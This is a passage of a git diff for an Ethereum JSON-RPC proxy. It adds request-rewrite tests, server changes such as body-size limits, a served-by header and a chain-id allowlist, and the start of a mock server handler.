require.Equal(t, hexutil.Uint64(55).String(), p[0]["fromBlock"]) + require.Equal(t, hexutil.Uint64(77).String(), p[0]["toBlock"]) + }, + }, + { + name: "eth_getLogs fromBlock, toBlock out of range", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getLogs", Params: mustMarshalJSON([]map[string]interface{}{{"fromBlock": hexutil.Uint64(111).String(), "toBlock": hexutil.Uint64(222).String()}})}, + res: nil, + }, + expected: RewriteOverrideError, + expectedErr: ErrRewriteBlockOutOfRange, + }, + { + name: "eth_getLogs fromBlock -> toBlock above max range", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100), maxBlockRange: 30}, + req: &RPCReq{Method: "eth_getLogs", Params: mustMarshalJSON([]map[string]interface{}{{"fromBlock": hexutil.Uint64(20).String(), "toBlock": hexutil.Uint64(80).String()}})}, + res: nil, + }, + expected: RewriteOverrideError, + expectedErr: ErrRewriteRangeTooLarge, + }, + { + name: "eth_getLogs earliest -> latest above max range", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100), maxBlockRange: 30}, + req: &RPCReq{Method: "eth_getLogs", Params: mustMarshalJSON([]map[string]interface{}{{"fromBlock": "earliest", "toBlock": "latest"}})}, + res: nil, + }, + expected: RewriteOverrideError, + expectedErr: ErrRewriteRangeTooLarge, + }, + { + name: "eth_getLogs earliest -> pending above max range", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100), maxBlockRange: 30}, + req: &RPCReq{Method: "eth_getLogs", Params: mustMarshalJSON([]map[string]interface{}{{"fromBlock": "earliest", "toBlock": "pending"}})}, + res: nil, + }, + expected: RewriteOverrideError, + expectedErr: ErrRewriteRangeTooLarge, + }, + { + name: "eth_getLogs earliest -> default above max range", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100), maxBlockRange: 30}, + req: &RPCReq{Method: "eth_getLogs", Params: mustMarshalJSON([]map[string]interface{}{{"fromBlock": "earliest"}})}, + res: nil, + }, + expected: RewriteOverrideError, + expectedErr: ErrRewriteRangeTooLarge, + }, + { + name: "eth_getLogs default -> latest within range", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100), maxBlockRange: 30}, + req: &RPCReq{Method: "eth_getLogs", Params: mustMarshalJSON([]map[string]interface{}{{"toBlock": "latest"}})}, + res: nil, + }, + expected: RewriteOverrideRequest, + check: func(t *testing.T, args args) { + var p []map[string]interface{} + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, hexutil.Uint64(100).String(), p[0]["fromBlock"]) + require.Equal(t, hexutil.Uint64(100).String(), p[0]["toBlock"]) + }, + }, + /* required parameter at pos 0 */ + { + name: "debug_getRawReceipts latest", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "debug_getRawReceipts", Params: mustMarshalJSON([]string{"latest"})}, + res: nil, + }, + expected: RewriteOverrideRequest, + check: func(t *testing.T, args args) { + var p []string + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, 1, len(p)) + require.Equal(t, hexutil.Uint64(100).String(), p[0]) + }, + }, + { + name: "debug_getRawReceipts within range", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "debug_getRawReceipts", Params: mustMarshalJSON([]string{hexutil.Uint64(55).String()})}, + res: nil, + }, + expected: RewriteNone, + check: func(t *testing.T, args args) { + var p []string + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, 1, len(p)) + require.Equal(t, hexutil.Uint64(55).String(), p[0]) + }, + }, + { + name: "debug_getRawReceipts out of range", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "debug_getRawReceipts", Params: mustMarshalJSON([]string{hexutil.Uint64(111).String()})}, + res: nil, + }, + expected: RewriteOverrideError, + expectedErr: ErrRewriteBlockOutOfRange, + }, + { + name: "debug_getRawReceipts missing parameter", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "debug_getRawReceipts", Params: mustMarshalJSON([]string{})}, + res: nil, + }, + expected: RewriteNone, + }, + { + name: "debug_getRawReceipts with block hash", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "debug_getRawReceipts", Params: mustMarshalJSON([]string{"0xc6ef2fc5426d6ad6fd9e2a26abeab0aa2411b7ab17f30a99d3cb96aed1d1055b"})}, + res: nil, + }, + expected: RewriteNone, + check: func(t *testing.T, args args) { + var p []string + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, 1, len(p)) + require.Equal(t, "0xc6ef2fc5426d6ad6fd9e2a26abeab0aa2411b7ab17f30a99d3cb96aed1d1055b", p[0]) + }, + }, + /* default block parameter */ + { + name: "eth_getCode omit block, should add", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getCode", Params: mustMarshalJSON([]string{"0x123"})}, + res: nil, + }, + expected: RewriteOverrideRequest, + check: func(t *testing.T, args args) { + var p []string + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, 2, len(p)) + require.Equal(t, "0x123", p[0]) + require.Equal(t, hexutil.Uint64(100).String(), p[1]) + }, + }, + { + name: "eth_getCode not enough params, should do nothing", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getCode", Params: mustMarshalJSON([]string{})}, + res: nil, + }, + expected: RewriteNone, + check: func(t *testing.T, args args) { + var p []string + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, 0, len(p)) + }, + }, + { + name: "eth_getCode latest", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getCode", Params: mustMarshalJSON([]string{"0x123", "latest"})}, + res: nil, + }, + expected: RewriteOverrideRequest, + check: func(t *testing.T, args args) { + var p []string + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, 2, len(p)) + require.Equal(t, "0x123", p[0]) + require.Equal(t, hexutil.Uint64(100).String(), p[1]) + }, + }, + { + name: "eth_getCode within range", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getCode", Params: mustMarshalJSON([]string{"0x123", hexutil.Uint64(55).String()})}, + res: nil, + }, + expected: RewriteNone, + check: func(t *testing.T, args args) { + var p []string + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, 2, len(p)) + require.Equal(t, "0x123", p[0]) + require.Equal(t, hexutil.Uint64(55).String(), p[1]) + }, + }, + { + name: "eth_getCode out of range", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getCode", Params: mustMarshalJSON([]string{"0x123", hexutil.Uint64(111).String()})}, + res: nil, + }, + expected: RewriteOverrideError, + expectedErr: ErrRewriteBlockOutOfRange, + }, + /* default block parameter, at position 2 */ + { + name: "eth_getStorageAt omit block, should add", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getStorageAt", Params: mustMarshalJSON([]string{"0x123", "5"})}, + res: nil, + }, + expected: RewriteOverrideRequest, + check: func(t *testing.T, args args) { + var p []string + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, 3, len(p)) + require.Equal(t, "0x123", p[0]) + require.Equal(t, "5", p[1]) + require.Equal(t, hexutil.Uint64(100).String(), p[2]) + }, + }, + { + name: "eth_getStorageAt latest", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getStorageAt", Params: mustMarshalJSON([]string{"0x123", "5", "latest"})}, + res: nil, + }, + expected: RewriteOverrideRequest, + check: func(t *testing.T, args args) { + var p []string + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, 3, len(p)) + require.Equal(t, "0x123", p[0]) + require.Equal(t, "5", p[1]) + require.Equal(t, hexutil.Uint64(100).String(), p[2]) + }, + }, + { + name: "eth_getStorageAt within range", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getStorageAt", Params: mustMarshalJSON([]string{"0x123", "5", hexutil.Uint64(55).String()})}, + res: nil, + }, + expected: RewriteNone, + check: func(t *testing.T, args args) { + var p []string + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, 3, len(p)) + require.Equal(t, "0x123", p[0]) + require.Equal(t, "5", p[1]) + require.Equal(t, hexutil.Uint64(55).String(), p[2]) + }, + }, + { + name: "eth_getStorageAt out of range", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getStorageAt", Params: mustMarshalJSON([]string{"0x123", "5", hexutil.Uint64(111).String()})}, + res: nil, + }, + expected: RewriteOverrideError, + expectedErr: ErrRewriteBlockOutOfRange, + }, + /* default block parameter, at position 0 */ + { + name: "eth_getBlockByNumber omit block, should add", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getBlockByNumber", Params: mustMarshalJSON([]string{})}, + res: nil, + }, + expected: RewriteOverrideRequest, + check: func(t *testing.T, args args) { + var p []string + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, 1, len(p)) + require.Equal(t, hexutil.Uint64(100).String(), p[0]) + }, + }, + { + name: "eth_getBlockByNumber latest", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getBlockByNumber", Params: mustMarshalJSON([]string{"latest"})}, + res: nil, + }, + expected: RewriteOverrideRequest, + check: func(t *testing.T, args args) { + var p []string + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, 1, len(p)) + require.Equal(t, hexutil.Uint64(100).String(), p[0]) + }, + }, + { + name: "eth_getBlockByNumber finalized", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100), finalized: hexutil.Uint64(55)}, + req: &RPCReq{Method: "eth_getBlockByNumber", Params: mustMarshalJSON([]string{"finalized"})}, + res: nil, + }, + expected: RewriteOverrideRequest, + check: func(t *testing.T, args args) { + var p []string + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, 1, len(p)) + require.Equal(t, hexutil.Uint64(55).String(), p[0]) + }, + }, + { + name: "eth_getBlockByNumber safe", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100), safe: hexutil.Uint64(50)}, + req: &RPCReq{Method: "eth_getBlockByNumber", Params: mustMarshalJSON([]string{"safe"})}, + res: nil, + }, + expected: RewriteOverrideRequest, + check: func(t *testing.T, args args) { + var p []string + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, 1, len(p)) + require.Equal(t, hexutil.Uint64(50).String(), p[0]) + }, + }, + { + name: "eth_getBlockByNumber within range", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getBlockByNumber", Params: mustMarshalJSON([]string{hexutil.Uint64(55).String()})}, + res: nil, + }, + expected: RewriteNone, + check: func(t *testing.T, args args) { + var p []string + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, 1, len(p)) + require.Equal(t, hexutil.Uint64(55).String(), p[0]) + }, + }, + { + name: "eth_getBlockByNumber out of range", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getBlockByNumber", Params: mustMarshalJSON([]string{hexutil.Uint64(111).String()})}, + res: nil, + }, + expected: RewriteOverrideError, + expectedErr: ErrRewriteBlockOutOfRange, + }, + { + name: "eth_getStorageAt using rpc.BlockNumberOrHash", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getStorageAt", Params: mustMarshalJSON([]string{ + "0xae851f927ee40de99aabb7461c00f9622ab91d60", + "0x65a7ed542fb37fe237fdfbdd70b31598523fe5b32879e307bae27a0bd9581c08", + "0x1c4840bcb3de3ac403c0075b46c2c47d4396c5b624b6e1b2874ec04e8879b483"})}, + res: nil, + }, + expected: RewriteNone, + }, + } + + // generalize tests for other methods with same interface and behavior + tests = generalize(tests, "eth_getLogs", "eth_newFilter") + tests = generalize(tests, "eth_getCode", "eth_getBalance") + tests = generalize(tests, "eth_getCode", "eth_getTransactionCount") + tests = generalize(tests, "eth_getCode", "eth_call") + tests = generalize(tests, "eth_getBlockByNumber", "eth_getBlockTransactionCountByNumber") + tests = generalize(tests, "eth_getBlockByNumber", "eth_getUncleCountByBlockNumber") + tests = generalize(tests, "eth_getBlockByNumber", "eth_getTransactionByBlockNumberAndIndex") + tests = generalize(tests, "eth_getBlockByNumber", "eth_getUncleByBlockNumberAndIndex") + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result, err := RewriteRequest(tt.args.rctx, tt.args.req, tt.args.res) + if result != RewriteOverrideError { + require.Nil(t, err) + require.Equal(t, tt.expected, result) + } else { + require.Equal(t, tt.expectedErr, err) + } + if tt.check != nil { + tt.check(t, tt.args) + } + }) + } +} + +func generalize(tests []rewriteTest, baseMethod string, generalizedMethod string) []rewriteTest { + newCases := make([]rewriteTest, 0) + for _, t := range tests { + if t.args.req.Method == baseMethod { + newName := strings.Replace(t.name, baseMethod, generalizedMethod, -1) + var req *RPCReq + var res *RPCRes + + if t.args.req != nil { + req = &RPCReq{ + JSONRPC: t.args.req.JSONRPC, + Method: generalizedMethod, + Params: t.args.req.Params, + ID: t.args.req.ID, + } + } + + if t.args.res != nil { + res = &RPCRes{ + JSONRPC: t.args.res.JSONRPC, + Result: t.args.res.Result, + Error: t.args.res.Error, + ID: t.args.res.ID, + } + } + newCases = append(newCases, rewriteTest{ + name: newName, + args: args{ + rctx: t.args.rctx, + req: req, + res: res, + }, + expected: t.expected, + expectedErr: t.expectedErr, + check: t.check, + }) + } + } + return append(tests, newCases...) +} + +func TestRewriteResponse(t *testing.T) { + type args struct { + rctx RewriteContext + req *RPCReq + res *RPCRes + } + tests := []struct { + name string + args args + expected RewriteResult + check func(*testing.T, args) + }{ + { + name: "eth_blockNumber latest", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_blockNumber"}, + res: &RPCRes{Result: hexutil.Uint64(200)}, + }, + expected: RewriteOverrideResponse, + check: func(t *testing.T, args args) { + require.Equal(t, args.res.Result, hexutil.Uint64(100)) + }, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result, err := RewriteResponse(tt.args.rctx, tt.args.req, tt.args.res) + require.Nil(t, err) + require.Equal(t, tt.expected, result) + if tt.check != nil { + tt.check(t, tt.args) + } + }) + } +} diff --git a/go/proxyd/server.go b/go/proxyd/server.go index 3e2e647578..2b7a1bd966 100644 --- a/go/proxyd/server.go +++ b/go/proxyd/server.go @@ -2,11 +2,14 @@ package proxyd import ( "context" + "crypto/rand" + "encoding/hex" "encoding/json" "errors" "fmt" "io" "math" + "math/big" "net/http" "regexp" "strconv" @@ -15,31 +18,38 @@ import ( "time" "github.com/ethereum/go-ethereum/common/hexutil" + "github.com/ethereum/go-ethereum/core" + "github.com/ethereum/go-ethereum/core/txpool" "github.com/ethereum/go-ethereum/core/types" - "github.com/ethereum/go-ethereum/log" - "github.com/go-redis/redis/v8" "github.com/gorilla/mux" "github.com/gorilla/websocket" "github.com/prometheus/client_golang/prometheus" + "github.com/redis/go-redis/v9" "github.com/rs/cors" + "github.com/syndtr/goleveldb/leveldb/opt" ) const ( - ContextKeyAuth = "authorization" - ContextKeyReqID = "req_id" - ContextKeyXForwardedFor = "x_forwarded_for" - MaxBatchRPCCallsHardLimit = 100 - cacheStatusHdr = "X-Proxyd-Cache-Status" - defaultServerTimeout = time.Second * 10 - maxRequestBodyLogLen = 2000 - defaultMaxUpstreamBatchSize = 10 + ContextKeyAuth = "authorization" + ContextKeyReqID = "req_id" + ContextKeyXForwardedFor = "x_forwarded_for" + DefaultMaxBatchRPCCallsLimit = 100 + MaxBatchRPCCallsHardLimit = 1000 + cacheStatusHdr = "X-Proxyd-Cache-Status" + defaultRPCTimeout = 10 * time.Second + defaultBodySizeLimit = 256 * opt.KiB + defaultWSHandshakeTimeout = 10 * time.Second + defaultWSReadTimeout = 2 * time.Minute + defaultWSWriteTimeout = 10 * time.Second + maxRequestBodyLogLen = 2000 + defaultMaxUpstreamBatchSize = 10 ) var emptyArrayResponse = json.RawMessage("[]") type Server struct { - backendGroups map[string]*BackendGroup + BackendGroups map[string]*BackendGroup wsBackendGroup *BackendGroup wsMethodWhitelist *StringSet rpcMethodMappings map[string]string @@ -50,10 +60,12 @@ type Server struct { timeout time.Duration maxUpstreamBatchSize int maxBatchSize int + enableServedByHeader bool upgrader *websocket.Upgrader mainLim FrontendRateLimiter overrideLims map[string]FrontendRateLimiter senderLim FrontendRateLimiter + allowedChainIds []*big.Int limExemptOrigins []*regexp.Regexp limExemptUserAgents []*regexp.Regexp globallyLimitedMethods map[string]bool @@ -65,12 +77,6 @@ type Server struct { type limiterFunc func(method string) bool -type WSServerLimiter struct { - isLimited limiterFunc - isRateLimitSender func(ctx context.Context, req *RPCReq) error - maxBodySize int64 -} - func NewServer( backendGroups map[string]*BackendGroup, wsBackendGroup *BackendGroup, @@ -80,6 +86,7 @@ func NewServer( authenticatedPaths map[string]string, timeout time.Duration, maxUpstreamBatchSize int, + enableServedByHeader bool, cache RPCCache, rateLimitConfig RateLimitConfig, senderRateLimitConfig SenderRateLimitConfig, @@ -93,18 +100,22 @@ func NewServer( } if maxBodySize == 0 { - maxBodySize = math.MaxInt64 + maxBodySize = defaultBodySizeLimit } if timeout == 0 { - timeout = defaultServerTimeout + timeout = defaultRPCTimeout } if maxUpstreamBatchSize == 0 { maxUpstreamBatchSize = defaultMaxUpstreamBatchSize } - if maxBatchSize == 0 || maxBatchSize > MaxBatchRPCCallsHardLimit { + if maxBatchSize == 0 { + maxBatchSize = DefaultMaxBatchRPCCallsLimit + } + + if maxBatchSize > MaxBatchRPCCallsHardLimit { maxBatchSize = MaxBatchRPCCallsHardLimit } @@ -158,7 +169,7 @@ func NewServer( } return &Server{ - backendGroups: backendGroups, + BackendGroups: backendGroups, wsBackendGroup: wsBackendGroup, wsMethodWhitelist: wsMethodWhitelist, rpcMethodMappings: rpcMethodMappings, @@ -166,17 +177,19 @@ func NewServer( authenticatedPaths: authenticatedPaths, timeout: timeout, maxUpstreamBatchSize: maxUpstreamBatchSize, + enableServedByHeader: enableServedByHeader, cache: cache, enableRequestLog: enableRequestLog, maxRequestBodyLogLen: maxRequestBodyLogLen, maxBatchSize: maxBatchSize, upgrader: &websocket.Upgrader{ - HandshakeTimeout: 5 * time.Second, + HandshakeTimeout: defaultWSHandshakeTimeout, }, mainLim: mainLim, overrideLims: overrideLims, globallyLimitedMethods: globalMethodLims, senderLim: senderLim, + allowedChainIds: senderRateLimitConfig.AllowedChainIds, limExemptOrigins: limExemptOrigins, limExemptUserAgents: limExemptUserAgents, }, nil @@ -228,6 +241,9 @@ func (s *Server) Shutdown() { if s.wsServer != nil { _ = s.wsServer.Shutdown(context.Background()) } + for _, bg := range s.BackendGroups { + bg.Shutdown() + } } func (s *Server) HandleHealthz(w http.ResponseWriter, r *http.Request) { @@ -303,7 +319,13 @@ func (s *Server) HandleRPC(w http.ResponseWriter, r *http.Request) { "remote_ip", xff, ) - body, err := io.ReadAll(io.LimitReader(r.Body, s.maxBodySize)) + body, err := io.ReadAll(LimitReader(r.Body, s.maxBodySize)) + if errors.Is(err, ErrLimitReaderOverLimit) { + log.Error("request body too large", "req_id", GetReqID(ctx)) + RecordRPCError(ctx, BackendProxyd, MethodUnknown, ErrRequestBodyTooLarge) + writeRPCError(ctx, w, nil, ErrRequestBodyTooLarge) + return + } if err != nil { log.Error("error reading request body", "err", err) writeRPCError(ctx, w, nil, ErrInternal) @@ -341,32 +363,47 @@ func (s *Server) HandleRPC(w http.ResponseWriter, r *http.Request) { return } - batchRes, batchContainsCached, err := s.handleBatchRPC(ctx, reqs, isLimited, true) + batchRes, batchContainsCached, servedBy, err := s.handleBatchRPC(ctx, reqs, isLimited, true) if err == context.DeadlineExceeded { writeRPCError(ctx, w, nil, ErrGatewayTimeout) return } + if errors.Is(err, ErrConsensusGetReceiptsCantBeBatched) || + errors.Is(err, ErrConsensusGetReceiptsInvalidTarget) { + writeRPCError(ctx, w, nil, ErrInvalidRequest(err.Error())) + return + } if err != nil { writeRPCError(ctx, w, nil, ErrInternal) return } - + if s.enableServedByHeader { + w.Header().Set("x-served-by", servedBy) + } setCacheHeader(w, batchContainsCached) writeBatchRPCRes(ctx, w, batchRes) return } rawBody := json.RawMessage(body) - backendRes, cached, err := s.handleBatchRPC(ctx, []json.RawMessage{rawBody}, isLimited, false) + backendRes, cached, servedBy, err := s.handleBatchRPC(ctx, []json.RawMessage{rawBody}, isLimited, false) if err != nil { + if errors.Is(err, ErrConsensusGetReceiptsCantBeBatched) || + errors.Is(err, ErrConsensusGetReceiptsInvalidTarget) { + writeRPCError(ctx, w, nil, ErrInvalidRequest(err.Error())) + return + } writeRPCError(ctx, w, nil, ErrInternal) return } + if s.enableServedByHeader { + w.Header().Set("x-served-by", servedBy) + } setCacheHeader(w, cached) writeRPCRes(ctx, w, backendRes[0]) } -func (s *Server) handleBatchRPC(ctx context.Context, reqs []json.RawMessage, isLimited limiterFunc, isBatch bool) ([]*RPCRes, bool, error) { +func (s *Server) handleBatchRPC(ctx context.Context, reqs []json.RawMessage, isLimited limiterFunc, isBatch bool) ([]*RPCRes, bool, string, error) { // A request set is transformed into groups of batches. // Each batch group maps to a forwarded JSON-RPC batch request (subject to maxUpstreamBatchSize constraints) // A groupID is used to decouple Requests that have duplicate ID so they're not part of the same batch that's @@ -452,6 +489,7 @@ func (s *Server) handleBatchRPC(ctx context.Context, reqs []json.RawMessage, isL batches[batchGroup] = append(batches[batchGroup], batchElem{parsedReq, i}) } + servedBy := make(map[string]bool, 0) var cached bool for group, batch := range batches { var cacheMisses []batchElem @@ -476,14 +514,19 @@ func (s *Server) handleBatchRPC(ctx context.Context, reqs []json.RawMessage, isL "batch_index", i, ) batchRPCShortCircuitsTotal.Inc() - return nil, false, context.DeadlineExceeded + return nil, false, "", context.DeadlineExceeded } start := i * s.maxUpstreamBatchSize end := int(math.Min(float64(start+s.maxUpstreamBatchSize), float64(len(cacheMisses)))) elems := cacheMisses[start:end] - res, err := s.backendGroups[group.backendGroup].Forward(ctx, createBatchRequest(elems), isBatch) + res, sb, err := s.BackendGroups[group.backendGroup].Forward(ctx, createBatchRequest(elems), isBatch) + servedBy[sb] = true if err != nil { + if errors.Is(err, ErrConsensusGetReceiptsCantBeBatched) || + errors.Is(err, ErrConsensusGetReceiptsInvalidTarget) { + return nil, false, "", err + } log.Error( "error forwarding RPC batch", "batch_size", len(elems), @@ -514,7 +557,15 @@ func (s *Server) handleBatchRPC(ctx context.Context, reqs []json.RawMessage, isL } } - return responses, cached, nil + servedByString := "" + for sb, _ := range servedBy { + if servedByString != "" { + servedByString += ", " + } + servedByString += sb + } + + return responses, cached, servedByString, nil } func (s *Server) HandleWS(w http.ResponseWriter, r *http.Request) { @@ -530,51 +581,7 @@ func (s *Server) HandleWS(w http.ResponseWriter, r *http.Request) { log.Error("error upgrading client conn", "auth", GetAuthCtx(ctx), "req_id", GetReqID(ctx), "err", err) return } - - origin := r.Header.Get("Origin") - userAgent := r.Header.Get("User-Agent") - // Use XFF in context since it will automatically be replaced by the remote IP - xff := stripXFF(GetXForwardedFor(ctx)) - isUnlimitedOrigin := s.isUnlimitedOrigin(origin) - isUnlimitedUserAgent := s.isUnlimitedUserAgent(userAgent) - - if xff == "" { - writeRPCError(ctx, w, nil, ErrInvalidRequest("request does not include a remote IP")) - return - } - - isLimited := func(method string) bool { - isGloballyLimitedMethod := s.isGlobalLimit(method) - if !isGloballyLimitedMethod && (isUnlimitedOrigin || isUnlimitedUserAgent) { - return false - } - - var lim FrontendRateLimiter - if method == "" { - lim = s.mainLim - } else { - lim = s.overrideLims[method] - } - - if lim == nil { - return false - } - - ok, err := lim.Take(context.Background(), xff) - if err != nil { - log.Warn("error taking rate limit", "err", err) - return true - } - return !ok - } - - isRateLimitSender := func(ctx context.Context, req *RPCReq) error { - if s.senderLim != nil { - return s.rateLimitSender(ctx, req) - } else { - return nil - } - } + clientConn.SetReadLimit(s.maxBodySize) proxier, err := s.wsBackendGroup.ProxyWS(ctx, clientConn, s.wsMethodWhitelist) if err != nil { @@ -588,9 +595,8 @@ func (s *Server) HandleWS(w http.ResponseWriter, r *http.Request) { activeClientWsConnsGauge.WithLabelValues(GetAuthCtx(ctx)).Inc() go func() { - proxyWSServerLimiter := WSServerLimiter{isLimited: isLimited, isRateLimitSender: isRateLimitSender, maxBodySize: s.maxBodySize} // Below call blocks so run it in a goroutine. - if err := proxier.Proxy(ctx, &proxyWSServerLimiter); err != nil { + if err := proxier.Proxy(ctx); err != nil { log.Error("error proxying websocket", "auth", GetAuthCtx(ctx), "req_id", GetReqID(ctx), "err", err) } activeClientWsConnsGauge.WithLabelValues(GetAuthCtx(ctx)).Dec() @@ -611,16 +617,7 @@ func (s *Server) populateContext(w http.ResponseWriter, r *http.Request) context } ctx := context.WithValue(r.Context(), ContextKeyXForwardedFor, xff) // nolint:staticcheck - if s.authenticatedPaths == nil { - // handle the edge case where auth is disabled - // but someone sends in an auth key anyway - if authorization != "" { - log.Info("blocked authenticated request against unauthenticated proxy") - httpResponseCodesTotal.WithLabelValues("404").Inc() - w.WriteHeader(404) - return nil - } - } else { + if len(s.authenticatedPaths) > 0 { if authorization == "" || s.authenticatedPaths[authorization] == "" { log.Info("blocked unauthorized request", "authorization", authorization) httpResponseCodesTotal.WithLabelValues("401").Inc() @@ -628,7 +625,7 @@ func (s *Server) populateContext(w http.ResponseWriter, r *http.Request) context return nil } - ctx = context.WithValue(r.Context(), ContextKeyAuth, s.authenticatedPaths[authorization]) // nolint:staticcheck + ctx = context.WithValue(ctx, ContextKeyAuth, s.authenticatedPaths[authorization]) // nolint:staticcheck } return context.WithValue( @@ -638,6 +635,14 @@ func (s *Server) populateContext(w http.ResponseWriter, r *http.Request) context ) } +func randStr(l int) string { + b := make([]byte, l) + if _, err := rand.Read(b); err != nil { + panic(err) + } + return hex.EncodeToString(b) +} + func (s *Server) isUnlimitedOrigin(origin string) bool { for _, pat := range s.limExemptOrigins { if pat.MatchString(origin) { @@ -688,27 +693,45 @@ func (s *Server) rateLimitSender(ctx context.Context, req *RPCReq) error { return ErrInvalidParams(err.Error()) } + // Check if the transaction is for the expected chain, + // otherwise reject before rate limiting to avoid replay attacks. + if !s.isAllowedChainId(tx.ChainId()) { + log.Debug("chain id is not allowed", "req_id", GetReqID(ctx)) + return txpool.ErrInvalidSender + } + // Convert the transaction into a Message object so that we can get the // sender. This method performs an ecrecover, which can be expensive. - msg, err := tx.AsMessage(types.LatestSignerForChainID(tx.ChainId()), nil) + msg, err := core.TransactionToMessage(tx, types.LatestSignerForChainID(tx.ChainId()), nil) if err != nil { log.Debug("could not get message from transaction", "err", err, "req_id", GetReqID(ctx)) return ErrInvalidParams(err.Error()) } - - ok, err := s.senderLim.Take(ctx, fmt.Sprintf("%s:%d", msg.From().Hex(), tx.Nonce())) + ok, err := s.senderLim.Take(ctx, fmt.Sprintf("%s:%d", msg.From.Hex(), tx.Nonce())) if err != nil { log.Error("error taking from sender limiter", "err", err, "req_id", GetReqID(ctx)) return ErrInternal } if !ok { - log.Debug("sender rate limit exceeded", "sender", msg.From(), "req_id", GetReqID(ctx)) + log.Debug("sender rate limit exceeded", "sender", msg.From.Hex(), "req_id", GetReqID(ctx)) return ErrOverSenderRateLimit } return nil } +func (s *Server) isAllowedChainId(chainId *big.Int) bool { + if s.allowedChainIds == nil || len(s.allowedChainIds) == 0 { + return true + } + for _, id := range s.allowedChainIds { + if chainId.Cmp(id) == 0 { + return true + } + } + return false +} + func setCacheHeader(w http.ResponseWriter, cached bool) { if cached { w.Header().Set(cacheStatusHdr, "HIT") diff --git a/go/proxyd/tools/mockserver/handler/handler.go b/go/proxyd/tools/mockserver/handler/handler.go new file mode 100644 index 0000000000..0f9bfcad63 --- /dev/null +++ b/go/proxyd/tools/mockserver/handler/handler.go @@ -0,0 +1,135 @@ +package handler + +import ( + "encoding/json" + "fmt" + "io" + "net/http" + "os" + "strings" + + "github.com/ethereum-optimism/optimism/proxyd" + + "github.com/gorilla/mux" + "github.com/pkg/errors" + "gopkg.in/yaml.v3" +) + +type MethodTemplate struct { + Method string `yaml:"method"` + Block string `yaml:"block"` + Response string `yaml:"response"` +} + +type MockedHandler struct { + Overrides []*MethodTemplate + Autoload bool + AutoloadFile string +} + +func (mh *MockedHandler) Serve(port int) error { + r := mux.NewRouter() + r.HandleFunc("/", mh.Handler) + http.Handle("/", r) + fmt.Printf("starting server up on :%d serving MockedResponsesFile %s\n", port, mh.AutoloadFile) + err := http.ListenAndServe(fmt.Sprintf(":%d", port), nil) + + if errors.Is(err, http.ErrServerClosed) { + fmt.Printf("server closed\n") + } else if err != nil { + fmt.Printf("error starting server: %s\n", err) + return err + } + return nil +} + +func (mh *MockedHandler) Handler(w http.ResponseWriter, req *http.Request) { + body, err := io.ReadAll(req.Body) + if err != nil { + fmt.Printf("error reading request: %v\n", err) + } + + var template []*MethodTemplate + if mh.Autoload { + template = append(template, mh.LoadFromFile(mh.AutoloadFile)...) + } + if mh.Overrides != nil { + template = append(template, mh.Overrides...) + } + + 